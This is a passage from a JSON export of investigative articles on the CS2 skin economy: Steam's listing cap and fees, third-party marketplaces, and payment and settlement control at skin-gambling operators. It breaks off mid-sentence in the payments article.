            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "steamcommunity.com/dev/apikey ↗",
            "url": "https://steamcommunity.com/dev/apikey"
          },
          {
            "label": "Valve · User Keys and Publisher Keys ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "JWT format · RFC 7519 ↗",
            "url": "https://www.rfc-editor.org/rfc/rfc7519.txt"
          },
          {
            "label": "User API-key management ↗",
            "url": "https://steamcommunity.com/dev/apikey"
          },
          {
            "label": "Maintainer’s access-token account ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "Library maintainer · Access Tokens ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "Valve · Steam OpenID provider ↗",
            "url": "https://steamcommunity.com/dev"
          },
          {
            "label": "Continue in Part II: which credential crosses the boundary? →",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2#api-distinction"
          },
          {
            "label": "Open the checked Steam route ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=csgoroll.com"
          },
          {
            "label": "Read the captured response text ↓",
            "url": "https://phishdestroy.io/steam_dossier/sponsorship_assets/linkfilter-response.txt"
          },
          {
            "label": "New York v. Valve · complaint, §§95–99 ↗",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "Valve · ExpressTrade ↗",
            "url": "https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "G2 / CSGORoll announcement ↗",
            "url": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/"
          },
          {
            "label": "Sharpr: G2 skin gambling deal ↗",
            "url": "https://sharpr.substack.com/p/g2-esports-takes-risk-on-skin-gambling"
          },
          {
            "label": "ACMA formal warning to Feral Holdings ↗",
            "url": "https://www.acma.gov.au/sites/default/files/2023-05/ED2313~1.PDF"
          },
          {
            "label": "ACMA: CSGORoll warning ↗",
            "url": "https://www.acma.gov.au/articles/2023-05/acma-takes-action-against-illegal-skins-gambling-site"
          },
          {
            "label": "Valve: In-Game Item Trading Update ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "Ars: July letters confirmed by Valve ↗",
            "url": "https://arstechnica.com/gaming/2016/07/valve-lawyers-send-cease-and-desist-letters-to-counter-strike-gambling-sites/"
          },
          {
            "label": "Valve letters / CSGOFAST named ↗",
            "url": "https://www.hltv.org/news/18289/valve-cracks-down-on-skin-betting"
          },
          {
            "label": "CSGOFAST Cup 2 ↗",
            "url": "https://www.hltv.org/events/3461/csgofast-cup-2"
          },
          {
            "label": "RushBee Metality campaign ↗",
            "url": "https://rushbee.agency/projects/metality"
          },
          {
            "label": "BLAST Premier / GG.BET ↗",
            "url": "https://blast.tv/article/blast-partners-with-ggbet"
          },
          {
            "label": "CSGOEmpire Cup announcement ↗",
            "url": "https://www.hltv.org/news/38624/csgoempire-announces-50000-online-tournament"
          },
          {
            "label": "Withdrawals after Copenhagen disruption ↗",
            "url": "https://www.hltv.org/news/38657/participants-withdraw-from-csgoempire-cup-after-major-disruption"
          },
          {
            "label": "3DMAX termination statement ↗",
            "url": "https://x.com/3DMAXGaming/status/1896266857415610873"
          },
          {
            "label": "Valve Limited Game Tournament License ↗",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "CSGORoll WebAPI P2P Solution ↗",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "JWT standard ↗",
            "url": "https://www.rfc-editor.org/rfc/rfc7519.txt"
          },
          {
            "label": "Steam Community · OpenID provider ↗",
            "url": "https://steamcommunity.com/dev"
          },
          {
            "label": "Access Tokens: tradeoffer-manager ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/wiki/Access-Tokens"
          },
          {
            "label": "Steam Community · personal API-key management ↗",
            "url": "https://steamcommunity.com/dev/apikey"
          },
          {
            "label": "Steam Web API · User Keys and Publisher Keys ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "NY OAG v Valve complaint ↗",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "Valve OPSkins / ExpressTrade action ↗",
            "url": "https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "Steam Link Filter: csgoroll.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=csgoroll.com"
          },
          {
            "label": "Find this material in the author map →",
            "url": "https://phishdestroy.io/steam_dossier/fragment_map#material-major-sponsorships"
          },
          {
            "label": "Article PDF ↓",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.pdf"
          },
          {
            "label": "Article JSON ↓",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json"
          },
          {
            "label": "PGP signature ↓",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json.asc"
          },
          {
            "label": "Source register ↓",
            "url": "https://phishdestroy.io/steam_dossier/sponsorship_assets/sources.json"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Relationship",
                "Documented surface",
                "Record"
              ],
              [
                "CSGORoll → G2",
                "Team jerseys; announced Paris Major booth activation",
                "2 May 2023"
              ],
              [
                "GG.BET → RushBee / Vitality campaign",
                "Game packs, branded tour bus, meet-and-greets",
                "Agency case study"
              ],
              [
                "GG.BET → BLAST Premier",
                "Odds in the broadcast, predictions, content and branding",
                "22 Jan 2024"
              ],
              [
                "CSGOEmpire → Empire Cup",
                "Announced $50,000 online tournament",
                "26 Mar 2024"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/sponsorship_assets/linkfilter-response.txt",
          "sha256": "7148f402a9356b519708c358d5c28ad0f17cd0b986cc99d10d2ce42607519369",
          "bytes": 1509
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.pdf",
          "sha256": "cf61f389de248b0486cd8a7b45d51db99675e732f59a8222ff7999c68af6e36b",
          "bytes": 877871
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json",
          "sha256": "41362d7c6b5b2b04af8ff21d33154b73387dd288f50f726cd69f85758d4991af",
          "bytes": 49449
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/sponsorship_assets/sources.json",
          "sha256": "6b3016f1afcd09df9b717560f6a1003fdafdf8539ab2633a154e0594c4623861",
          "bytes": 8992
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "market_economics",
      "language": "en",
      "title": "One infrastructure, two markets — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/market_economics",
      "source_file": "steam_dossier/market_economics.html",
      "source_html_sha256": "edd11131d7457538f5b02257a91a11dea929c041165b30fad91c92195ad8b4bf",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "market_economics.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/market_economics.pdf",
        "sha256": "9a8e3d8fc136e4e0338e7ff5b8aaa53878d5dfd26267b43446dcf83f81103790",
        "bytes": 264824,
        "pages": 10
      },
      "integrity": {
        "signed_object": "market_economics.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/market_economics.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/market_economics.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nExhibit VII · Market Architecture · 20 September 2026\nMarket Economics — Two Economies & The Listing Ceiling\n\nTheir infrastructure. Two economies.\n\nWHAT THIS SECTION PROVES\n\nThis chapter analyzes the systemic market bifurcation created by Valve's $1,800 listing cap and non-withdrawable wallet balances. By surveying 38 active external skin exchanges holding approximately $1.28 billion in listed valuation, the investigation proves that high-tier trading necessarily migrates to external shadow platforms while relying on Steam's underlying trade and authentication infrastructure. While commercial use is formally prohibited in the Subscriber Agreement, Valve facilitates and monetizes this two-tier economy without published enforcement records.\n\n← Back to Executive briefing\n\n38 active third-party CS2 marketplaces, plus Steam's own. Every skin listed on any of them must move through Steam's inventory and trade API. Valve's rules prohibit commercial exploitation of that infrastructure. The roughly $1.28 billion third-party listed value exists while no public record of enforcing the rule has been located.\n\n$1.28B\nThird-party listed value · 38 platforms\n53.2M\nDisplayed offers · 38 third-party markets\n70.1K\nSteam items listed in the snapshot\n41×\nThird-party listed value vs Steam's $31M\nThe central finding\nOne infrastructure. Two economies.\n\nSteam controls the item, the inventory, and the trade. Every skin sold on any platform below must move through Steam's trade API — a structural dependence that is directly observable. Valve's own Community Market earns a fee on its sales; whether that fee funds, or is tied to, the third-party ecosystem is not established here.\n\nWhy this matters for the investigation\n1\nValve's Steam Subscriber Agreement prohibits commercial exploitation of Steam infrastructure without express permission. No such permission has been located in the public record for the platforms below.\n2\nSteam controls identity (OpenID), inventory state, and trade execution for the roughly $1.28B third-party listed value. No item transfer happens without Valve's infrastructure.\n3\nSteam's own marketplace has $31M listed — about 1/41 of the third-party listed value. The $1,800 price cap means sellers above it must go off-platform to sell at observed prices.\n4\n248 CS2 item categories, each priced above the cap by two or more marketplaces independently, cannot be sold at their observed market price on Steam — and none of them is listed there at all. The $1,800 cap creates the demand that third-party operators fill.\nSteam Community Market: $31M Third-party listed value: $1,276M\n$1,276M · third-party listed value — all dependent on Steam's trade API & OpenID\nSteam · $31M\n\nSource: PriceEmpire real-time catalogue, 20 September 2026. Listed value = sum of the rounded listed-value cards in the saved snapshot, Steam excluded. Not sales volume.\n\n38 active third-party markets · All depending on Steam infrastructure\nPlatform register\n\nThe platforms below route their logins through Steam OpenID and their trades through Steam's Web API. Each observed openid.realm passes through Steam's login flow; the register records the observed auth routes rather than asserting that any given operator lacks Valve's permission.\n\n#\tPlatform\tListed value\tActive offers\tItems\tScale\nSteam's $1,800 price ceiling · five-marketplace snapshot · 23 September 2026\nThe price gap is measurable.\n\nSteam caps Community Market listings at approximately $1,800 (the finding is re-computed at $2,000, $2,070, $2,300 and $2,500 in cs2sh-atlas.json and holds at every threshold). Items observed above that price cannot be sold at their market price through Valve's own marketplace — but they still depend on Steam's inventory and transfer system wherever they are sold. Banding the whole catalogue by price shows where the wall stands: Valve's market carries 95.3% of the item categories priced below its cap and 1.9% of those above it.\n\nFive marketplaces: items above the Steam cap\n248\n\nItem categories whose cheapest ask clears $1,800 on two or more marketplaces independently, holding 18,394 listed copies worth at least $78.6M. Of those, 100.0% — every single one — have no Steam listing at all.\n\nFull exhibits: the register → · the price-ladder atlas →\n\nPrice distribution above cap\nTop items — cheapest corroborated ask across five marketplaces\n\nAsking prices are not sale prices. Licensed cs2.sh snapshot, 23 September 2026. Every row is quoted above the cap by at least two marketplaces independently; single-shelf asks and quotes more than three times an item's cheapest ask are excluded. How the grading works →\n\nWhat Valve charges · licensed cs2.sh snapshot · 23 September 2026\nThe advertised fee is 15%. Most listings pay more.\n\nValve takes a 5% Steam fee and a 10% CS2 publisher fee from the seller's proceeds — the familiar 15%. Both fees carry a $0.01 minimum, so no sale can ever carry less than two cents in fees. On the cheap, high-volume items that make up the bulk of the market, that floor is the binding constraint, not the percentage. We solved the fee arithmetic for every one of the 29,635 item types carrying a live Steam ask.\n\n77.7%\nof live Steam listings sit on item types charged above 15%\n84.8%\nof item types do pay about the headline rate\n4,517\nitem types charged more than the advertised fee\n$0.02\nminimum fee on any sale, whatever the price\nThe two numbers point opposite ways, and both are true\n1\nCounted by item type, Valve's fee is broadly as advertised: 84.8% of the 29,635 priced types are charged at or near 15%.\n2\nCounted by actual listing, the picture inverts: 18,682,244 of 24,038,911 live listings are on item types charged more than 15%.\n3\nBoth are true because the overcharged types are the cheap, high-volume ones. 1,109 item types are charged more than double the headline rate, and those types alone carry 14,083,486 live listings.\n4\nThis is arithmetic, not an allegation. The minimum is disclosed in Valve's own fee documentation. What has not been published is how much of the market it actually applies to — which is what the figures above measure.\nFee charged, as a share of the headline 15%\n200%+\n14,083,486\n100-200%\n1,028,438\n50-100%\n700,804\n30-50%\n317,031\n20-30%\n2,258,254\n17.6-20%\n294,231\n\nBar length is the number of live listings in each band. A band of “200%+” means the fee taken is more than twice 15% of the seller's proceeds.\n\nA worked example\n67%\n\nOn a listing a buyer pays $0.03 for, the seller receives $0.01 and Valve takes $0.02 — the two one-cent minimums. As a share of what the buyer paid that is 67%; as a share of the seller's proceeds it is 200%.\n\nFull dataset: cs2sh-steam-fee-census.json →\n\nThe same item, inside the garden and outside it\nBuying on Steam costs more. Almost always.\n\nFor every item quoted both on Steam and on at least one third-party marketplace, we compared Steam's cheapest ask with the cheapest ask outside it. Across 28,700 items, Steam is the dearer venue 86.4% of the time, by a median of +35.7%.\n\nMedian Steam premium, by price band\nunder $0.50\n+48.3%\n$0.50-2\n+36.5%\n$2-10\n+29.6%\n$10-50\n+28.6%\n$50-250\n+36.3%\n$250-1k\n+51.1%\nover $1,000\n+67.9%\n\nThe curve is U-shaped. It is cheapest to buy on Steam in the $10–$50 band and dearest at the two ends.\n\nWhy the expensive end matters\n+67.9%\n\nAbove $1,000, the median Steam listing costs 67.9% more than the cheapest offer outside it — and only 1,040 such listings exist on Steam at all.\n\nPast roughly $1,800 the comparison stops being possible, because Valve's rule forbids the listing entirely. Steam's coverage of the items above its own cap is 1.9%. See the whole ladder →\n\nFull dataset: cs2sh-walled-garden-premium.json →\n\nA premium is not on its own a finding: Steam offers instant delivery and no counterparty risk, and buyers may reasonably pay for that. What is measurable is the size of the gap and the fact that the money crossing it cannot come back out — which is the next section.\n\nMoney in, no money out\n$128.1 million committed to orders that cannot be withdrawn.\n\nA Steam buy order is pre-funded: the money leaves the buyer's wallet the moment the order is placed. Steam wallet funds cannot be withdrawn — they can only be spent inside Steam. Summing every price level of every tracked item's buy book gives a census of committed, non-exitable money.\n\n$128.1M\ncommitted to standing Steam buy orders\n170.6M\nindividual funded buy orders standing\n$105.8M\nasking value of the listings facing them\n$15.9M\nValve's cut if every listing sold at its ask\nWhat this figure is, and what it is not\n1\nIt is real money already paid in. Every dollar counted has been debited from a wallet and is sitting against an open order across 31,253 item types.\n2\nIt is not revenue and not a claim about Valve's balance sheet. Where the float is held, and on whose books, is not established here.\n3\nIt is a snapshot, not a flow. Orders are cancellable by the buyer, which returns funds to the wallet — but still not out of Steam.\n4\nThe one-way door is the point. A marketplace whose currency cannot be cashed out is the reason a stolen inventory is converted off Steam rather than on it.\n\nMethod: every price level of every tracked buy book, multiplied by the orders standing at that level. Full dataset: cs2sh-steam-locked-capital.json →\n\nCompleted sales, not asking prices · one marketplace · trailing 90 days\n$30.9 million actually changed hands — on the smallest of the five shelves.\n\nA single high sale can be a rare craft or sticker-applied variant of a cheap base item (e.g. a $30 item with a one-off $9,772 completed sale). \"High\" = highest completed transaction, not the item's normal price.\n\nEvery other figure on this page measures what is listed. This one measures what was sold. Skinport publishes its own completed transactions, and over the trailing 90 days they came to 1,219,143 sales worth $30,927,032, at an average of $25.37 each.\n\n1.22M\ncompleted sales in 90 days, one marketplace\n$30.9M\nturnover over the same window\n$125M\nannualised run rate — a floor, not an estimate\n~2%\nSkinport's share of the above-cap shelf by listed value\nWhere the turnover came from\nunder $1\n0.5%\n$1-10\n5.8%\n$10-100\n22.2%\n$100-1k\n59.4%\n$1k-1.8k\n6.9%\nabove the Steam cap\n5.3%\n\nBar length is turnover; the figure is that tier's share of the total. 59.4% of the money moved in the $100–$1k tier, on 71,437 sales.\n\nAbove Valve's cap, sales still happen\n492\n\ncompleted sales of items priced above the Steam cap, worth $1,643,938, across 76 item types — on a marketplace that holds roughly 2% of that shelf. None of those sales could have taken place on Steam.\n\nFull dataset: cs2sh-offsteam-90d-dynamics.json → · the realised highs →\n\nSkinport is ONE of the third-party markets tracked here, and by listing value above the Steam cap it is the smallest of the five (about 2% of that shelf). Every total here is a floor on the off-Steam economy, not a measure of it. No Steam data is used.",
        "headings": [
          {
            "level": 1,
            "text": "Market Economics — Two Economies & The Listing Ceiling",
            "anchor": "pd-market_economics--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "level": 2,
            "text": "One infrastructure. Two economies.",
            "anchor": "pd-market_economics--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "level": 2,
            "text": "Platform register",
            "anchor": "pd-market_economics--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "level": 2,
            "text": "The price gap is measurable.",
            "anchor": "pd-market_economics--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "level": 3,
            "text": "Five marketplaces: items above the Steam cap",
            "anchor": "pd-market_economics--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "level": 3,
            "text": "Price distribution above cap",
            "anchor": "pd-market_economics--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "level": 3,
            "text": "Top items — cheapest corroborated ask across five marketplaces",
            "anchor": "pd-market_economics--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "level": 2,
            "text": "The advertised fee is 15%. Most listings pay more.",
            "anchor": "pd-market_economics--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#fee"
          },
          {
            "level": 3,
            "text": "Fee charged, as a share of the headline 15%",
            "anchor": "pd-market_economics--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#fee"
          },
          {
            "level": 3,
            "text": "A worked example",
            "anchor": "pd-market_economics--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#fee"
          },
          {
            "level": 2,
            "text": "Buying on Steam costs more. Almost always.",
            "anchor": "pd-market_economics--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#premium"
          },
          {
            "level": 3,
            "text": "Median Steam premium, by price band",
            "anchor": "pd-market_economics--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#premium"
          },
          {
            "level": 3,
            "text": "Why the expensive end matters",
            "anchor": "pd-market_economics--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#premium"
          },
          {
            "level": 2,
            "text": "$128.1 million committed to orders that cannot be withdrawn.",
            "anchor": "pd-market_economics--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#locked"
          },
          {
            "level": 2,
            "text": "$30.9 million actually changed hands — on the smallest of the five shelves.",
            "anchor": "pd-market_economics--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#realised"
          },
          {
            "level": 3,
            "text": "Where the turnover came from",
            "anchor": "pd-market_economics--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#realised"
          },
          {
            "level": 3,
            "text": "Above Valve's cap, sales still happen",
            "anchor": "pd-market_economics--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/market_economics#realised"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/market_economics"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "the register →",
            "url": "https://phishdestroy.io/steam_dossier/elite_skins"
          },
          {
            "label": "the price-ladder atlas →",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas"
          },
          {
            "label": "How the grading works →",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "label": "cs2sh-steam-fee-census.json →",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-steam-fee-census.json"
          },
          {
            "label": "See the whole ladder →",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas#cliff"
          },
          {
            "label": "cs2sh-walled-garden-premium.json →",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-walled-garden-premium.json"
          },
          {
            "label": "cs2sh-steam-locked-capital.json →",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-steam-locked-capital.json"
          },
          {
            "label": "cs2sh-offsteam-90d-dynamics.json →",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-offsteam-90d-dynamics.json"
          },
          {
            "label": "the realised highs →",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas#highs"
          }
        ],
        "tables": [
          {
            "id": "pd-market_economics--market-table",
            "caption": "",
            "rows": [
              [
                "#",
                "Platform",
                "Listed value",
                "Active offers",
                "Items",
                "Scale"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-steam-fee-census.json",
          "sha256": "9b191053458b6169a1f9fec1f72735cee5e6342e99b3499c74868ead52dfcda1",
          "bytes": 30434
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-walled-garden-premium.json",
          "sha256": "e3c077d029b4cfc2e2e6746eb10c148b6612c7f6bf52ab0ef7cf661de02a21a7",
          "bytes": 20319
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-steam-locked-capital.json",
          "sha256": "f874ee7149e04a91efc81d4a2d59295108656cfd25abeee7fabc2bc7b3a91469",
          "bytes": 56600
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-offsteam-90d-dynamics.json",
          "sha256": "dd2971a220d14f03f233472e90427f7442894372b91188658ce66ee7b332942b",
          "bytes": 215050
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "money-and-enforcement",
      "language": "en",
      "title": "No money? Follow the payment. — PhishDestroy",
      "author": "Agent Elias",
      "source_url": "https://phishdestroy.io/steam_dossier/money-and-enforcement",
      "source_file": "steam_dossier/money-and-enforcement.html",
      "source_html_sha256": "814b5b22c3b56bcd7099c7d60c861ed8aec245a19fe7524108cb3d8b08b4693d",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "money-and-enforcement.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/money-and-enforcement.pdf",
        "sha256": "bcb64ca88d24433217b59053c4759faf07f67728769169f8c4cd07c9dcc3579b",
        "bytes": 379659,
        "pages": 19
      },
      "integrity": {
        "signed_object": "money-and-enforcement.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/money-and-enforcement.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/money-and-enforcement.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nPAYMENTS, SETTLEMENT & ENFORCEMENT / 10 OCTOBER 2026\nNo money? Follow the payment.\nINVESTIGATION BY AGENT ELIAS\n\nThe label changes.\nThe value and control remain.\n\nReal value funds the account. The operator controls the credit and the return. A Steam restriction can trap the participant’s inventory while the outside service keeps its website, payment routes and internal ledger.\n\nFollow the system ↓Who handles the identity files? ↗\nTHREE RECORDS TO KEEP SEPARATE\n01 / FUNDINGMoney or assets enter.\n02 / ACCOUNTINGThe platform credits value.\n03 / DELIVERYA skin moves on Steam.\n\nDirect item delivery does not decentralise the ledger.\n\nTHE CENTRAL AUTHORITY\n\nThe platform decides when the transaction counts. It recognises the transfer, applies its pricing and credit rules, and controls release. The counterparties are consumers operating inside its system. A direct skin transfer does not give them control over settlement.\n\nOriginal 11 October edition · complete text →Preserved original wording, alongside the current sections →\n01 / C2C UNDER CENTRALISED CONTROL\nThe item goes directly. The decision goes through the platform.\n\nThis diagram separates the payment record, the platform’s ledger and the Steam transfer. It shows the control relationship described by the reviewed payment and trading policies. [K10] [K11]\n\nFUNDING RECORDS\nCard / bank payment · Cryptocurrency · Voucher purchase · Skin deposit\nCENTRAL PLATFORM\nPrices · Ledger · Verification · Release\nThe operator recognises the result and controls the balance\nUser A / item holder\nSteam inventory + platform account\nUser B / recipient\nSteam inventory + platform account\nITEM TRANSFER\non Steam\nDelivery between users is one layer. Platform accounting and identity checks govern the commercial result.\n“P2P” describesWhere the item travels.\nThe C2C service decidesHow the trade is recognised and settled.\nTHE 2018 ARCHITECTURE CHANGE\n\n29 March 2018. Valve applied a seven-day cooldown to traded CS:GO items, and the operators that had held skins in inventory bots moved to P2P/C2C delivery between users — Empire dates its own bot-to-P2P transition to 2018. That architecture change made every enforcement question a question about accounts rather than inventories.\n\nE63 · Valve’s 29 March 2018 trade-cooldown announcement ↗ · E64 · CSGOEmpire FAQ — Steam bots and the transition to P2P ↗\n\nEMPIRE / A DOCUMENTED SETTLEMENT EXAMPLE\nThe item arrives before the seller’s payout.\n\nEmpire’s rules specify coin holds, early-credit tiers, escalating failed-trade fees and reversal penalties. Its extension keeps the Steam credential available for the platform’s checks.\n\nInspect the two timelines ↗\n02 / FOLLOW THE VALUE AND THE COUNTERPARTY\nVirtual units. Real payment relationships.\n\nCSGORoll’s payment help lists cards, bank transfers, cryptocurrency, gift cards and skins. Kinguin lists gift cards for both operators. These routes bring different counterparties and records into the transaction. [K11] [K12] [K13]\n\nEXPANDED CASE / 11 OCTOBER 2026CSGOEmpire: the 4,500-Coin KYC discrepancy, gift codes and payout controlRead the three-operator comparison, payment-recipient map and wallet-custody record. ↗\nCSGOROLL / TWO BALANCES\nCoins and Chips have different rules.\n\nThe August 2026 terms deny cash redemption for ordinary Coins and provide for cryptocurrency redemption of eligible Roll Chips. The current FAQ also distinguishes the two. The operator’s own terms include a route from eligible Chips to cryptocurrency. A blanket impression that no real value can leave the service is incompatible with that published route. [K02] [K10]\n\nCSGOFAST / LABEL AND FUNDING\n“No real-world monetary value.”\n\nThe Responsible Play Policy applies that label to digital items and Credits. The marketplace separately sells Fast Coin gift cards for conventional currency. The terminology does not erase the acquisition cost, the redemption conditions or the operator’s control over account access. [K07] [K13]\n\nRedemption restrictions do not make the business money-free\n\nThe customer pays to acquire usable value; the operator records it in internal units and controls how it can be spent or released. A restriction on cash redemption limits the customer’s claim. It does not erase the purchase price, the value of the deposited skin or the surrounding payment relationship.\n\nThe transaction is C2C inside a central service. Two platform users may transfer the item directly through Steam. Pricing rules, credit recognition, verification and release remain functions of the commercial platform. “P2P” describes the delivery route while leaving that settlement authority out of the picture. [K10] Read the control analysis ↗\n\nTWO DISTINCT EVENTS\nPurchase a code. Redeem platform credit.\nStage\tRecord to identify\tWhere the dispute attaches\n1. Gift-card purchase\tMarketplace order, named seller, receipt, payment recipient and funding method.\tDelivery, validity and description of the purchased code; the seller and payment route matter.\n2. Code redemption\tCode use, receiving platform account and credit entry.\tWhether the operator credited the account and honoured its redemption terms.\n3. Later withdrawal / KYC\tDocument request, hold reason, applicable terms and account history.\tThe operator’s decision. A successful code delivery is a different event from a later refusal to release value.\n\nThe reviewed Kinguin listings display CSGORoll.com and CSGOFAST as seller names. Kinguin’s legal notice describes its marketplace role and seller responsibility. Identify the legal seller from the actual order. [K12] [K13] [K35]\n\nCHARGEBACKS & VOUCHERS\nThe remedy becomes fragmented.\n\nPayPal’s US Purchase Protection excludes cash-equivalent products such as gift cards and activities with an entry fee and prize. It separately recognises that card-issuer dispute rights can be broader. [K14]\n\nA voucher divides the dispute between the purchase of a code and the operator’s later treatment of the redeemed balance. If the seller delivered a valid code, a later withdrawal hold concerns a different service and a different counterparty — the separation is the design: the payment settles with the marketplace’s recipient, 